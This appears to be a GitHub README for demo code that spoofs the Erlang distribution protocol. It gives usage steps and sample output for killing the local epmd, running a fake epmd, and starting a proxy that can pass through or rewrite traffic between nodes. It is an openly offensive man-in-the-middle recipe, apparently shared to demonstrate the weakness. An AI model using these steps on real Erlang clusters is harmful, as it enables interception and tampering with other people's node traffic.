Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with HTTPS or Subversion.

Download ZIP
branch: master
Fetching contributors…

Cannot retrieve contributors at this time

67 lines (39 sloc) 1.377 kb
Demo code for spoofing the Erlang distribution protocol between
connected nodes:
http://blog.listincomprehension.com/2010/03/spoofing-erlang-distribution-protocol.html
Quick usage:
1. Start up a distributed Erlang node:
erl -name spoofed@host.lan
2. Compile spoofed and start up a second Erlang node:
make
erl -pa ebin
3. Kill the epmd on the local node and look for the port of the node
you want to spoof:
1> spoof:kill().
=INFO REPORT==== 5-Apr-2010::14:22:54 ===
epmd_port: 4369
received: "name spoofed at port 34661\n"
=INFO REPORT==== 5-Apr-2010::14:22:54 ===
received: tcp_close
=INFO REPORT==== 5-Apr-2010::14:22:54 ===
received: tcp_close
ok
The node "spoofed" is listening on port 34661.
2. Start a fake epmd, listening on an unbound port:
$ netstat -an |grep 34662; echo $?
1
2> spoof:epmd(34662).
0.36.0>
Port 34662 is the proxy port that will be advertised by our fake epmd.
3a. Start a passthru spoofing proxy:
3> spoof:proxy({{127,0,0,1},34661}, 34662).
OR:
3b. Start a spoofing proxy to transform the data:
3> F = fun(in,X) -> re:replace(X, "foo", "bar", [{return, binary}]);
3> (out,X) -> X end.
4> spoof:proxy({{127,0,0,1},34661}, 34662, F).
5. Connect to "spoofed@host.lan" from another distributed Erlang node
running on another host.
TODO
* npmd: allow nodes to register
* proxy: spoof multiple nodes
Jump to Line
Something went wrong with that request. Please try again.